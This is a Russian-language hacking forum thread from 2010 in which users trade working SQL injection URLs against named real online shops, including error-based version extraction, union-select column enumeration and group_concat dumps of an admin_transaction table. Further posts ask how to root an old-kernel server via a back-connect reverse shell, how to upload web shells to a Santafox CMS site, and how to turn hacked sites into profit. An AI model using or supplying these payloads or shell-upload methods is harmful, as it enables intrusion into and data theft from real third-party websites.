 |
|
07.12.2010, 22:21
|
|
Новичок
Регистрация: 26.11.2010
Сообщений: 16
С нами:
8137046
Репутация:
-1
|
|
Сообщение от Фараон
http://www.grieger-boote.de/product_info.php?products_id=3934' or 1 group by concat((select version()),floor(rand(0)*2)) having min(0) or 1 -- 1
Спасибо но тогда вопрос почему здесь не катит так же ?
http://www.drachenshop.de/product_info.php?products_id=555'
|
|
|
08.12.2010, 00:31
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами:
9100556
Репутация:
912
|
|
имеется один сервак с старым ядром, хочу порутать.. делаю бек-коннект, коннект доходит но сразу же отрубает меня.. пробовал биндить порты (53, 81, 31337) - то же самое. есть идеи?
|
|
|
|
08.12.2010, 01:28
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 546
С нами:
8885780
Репутация:
672
|
|
Сообщение от .:[melkiy
:."]
.:[melkiy]:. said:
имеется один сервак с старым ядром, хочу порутать.. делаю бек-коннект, коннект доходит но сразу же отрубает меня.. пробовал биндить порты (53, 81, 31337) - то же самое. есть идеи?
попробуй другие порты, мне повезло с этими. 8000, 31336
Сообщение от GroM88
Глупый вопрос) но все же)
Какие запросы использовать в скуле что бы просматривать таблицы из определенной БД?
ну т.е. information_schema.tables выводит все таблицы из всех бд)
а мне надо посмотреть таблицы из определенной бд)
select table_name from information_schema.tables where table_schema='перечитай_маны_по_с улям'
|
|
|
|
08.12.2010, 01:36
|
|
Новичок
Регистрация: 26.11.2010
Сообщений: 16
С нами:
8137046
Репутация:
-1
|
|
http://www.webmallindia.com/gifts/productlist.php?catid=-203%20+union+select+1,2,3,4,column_name,6,7,8%20fr om%20information_schema.columns%20where%20table_na me=0x5472616e73616374%20limit%2011,1
Возможно ли вывести любое поле из этой таблицы ?
|
|
|
|
08.12.2010, 12:35
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
|
|
Сообщение от [Ozzi
"]
[Ozzi] said:
Помогите плиз , нигде не нашел инфы и склонен что нельзя
можно!
Код:
http://www.webmallindia.com/gifts/productlist.php?catid=-203+union+select+unhex%28hex%28group_concat%28id,0x3a,action,0x3a,adminid,0x3a,tablename,0x3a,record_id,0x3a,actiontime%29%29%29+from+admin_transaction%20--+
Код:
http://www.webmallindia.com/gifts/productlist.php?catid=-203+union+select+unhex%28hex%28group_concat%28cd_id,0x3a,cd_name,0x3a,cd_catid,0x3a,cd_gen,0x3a,cd_lan,0x3a,cd_make,0x3a,cd_typ,0x3a,cd_flag,0x3a,cd_img,0x3a,cd_desc,0x3a,cd_inline_desc,0x3a,cd_price,0x3a,cd_discount,0x3a,cd_vendor,0x3a,cd_approve%29%29%29+from+cd
|
|
|
|
09.12.2010, 02:08
|
|
Новичок
Регистрация: 25.12.2009
Сообщений: 16
С нами:
8620050
Репутация:
0
|
|
Подскажите как залить шелл, в CMS Santafox, стоят фильтры на все!
Пытаюсь через добавление картинок/видео, выкидывает ошибку, пробовал разными методами, нефига, все перепробовал.
Помогите может кто работал с этой КМСкой, или знает иные способы заливки шелла?
|
|
|
|
09.12.2010, 09:43
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 0
С нами:
10992741
Репутация:
0
|
|
Сообщение от [Ozzi
"]
[Ozzi] said:
Помогите раскрутить скулю тут http://www.drachenshop.de/product_info.php?products_id=256%27
Тут нет скули.
|
|
|
|
09.12.2010, 18:07
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 546
С нами:
8885780
Репутация:
672
|
|
такс давайте выносим какие нить изменения!, с этого дня здесь не постим скули вида id=1'
я все равно их буду удалять.
здесь помогают раскрутить багу, если есть какие нить не понятные моменты, пишите, "вот делаю запрос не получается" или "подобрал калонки, вывода нет" или хз что там
но не пишите, помогите раскрутить ид=1' =\вам это не онлайн инжектор.
|
|
|
|
09.12.2010, 21:05
|
|
Новичок
Регистрация: 23.11.2009
Сообщений: 13
С нами:
8665691
Репутация:
0
|
|
Всем привет
Не так давно решил заняться sql инжектами. много читал, много думал... не в этом суть Проблем с нахождением и раскручиванием нету... Проблема в другом - в 90% случаев от баз толку ноль, ничего хорошего в них не находится Соответственно сайтик остается без шелла Не порядок ) Посоветуйте - как бы все же средствами скуля залить на этот сайт что нибудь...
|
|
|
|
09.12.2010, 21:13
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от Sl1ng3R
Всем привет
Не так давно решил заняться sql инжектами. много читал, много думал... не в этом суть
Проблем с нахождением и раскручиванием нету... Проблема в другом - в 90% случаев от баз толку ноль, ничего хорошего в них не находится
Соответственно сайтик остается без шелла
Не порядок ) Посоветуйте - как бы все же средствами скуля залить на этот сайт что нибудь...
у некоторых от начало заниматся скулями до заливки шеллов и превращения их в ликвид уходят годы...способоб заливки тысячи и зависит от КМС, админки, состояние сервера и тд и тп..тебе тут целый мануал выложить что ли?
ЗЫ. Забыл сказать вам начинающим скулерам, сайты которые вы хекаете..давно уже перехеканы до вас...так что заливка шелла вам многого не даст...ну конечно за рeдким исключением .
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [Ozzi]](/avatars/avatar146246.png?0){kind=avatar}
![Аватар для .:[melkiy]:.](/avatars/avatar74910.png?23){kind=avatar}
Похожие темы
Линейный вид
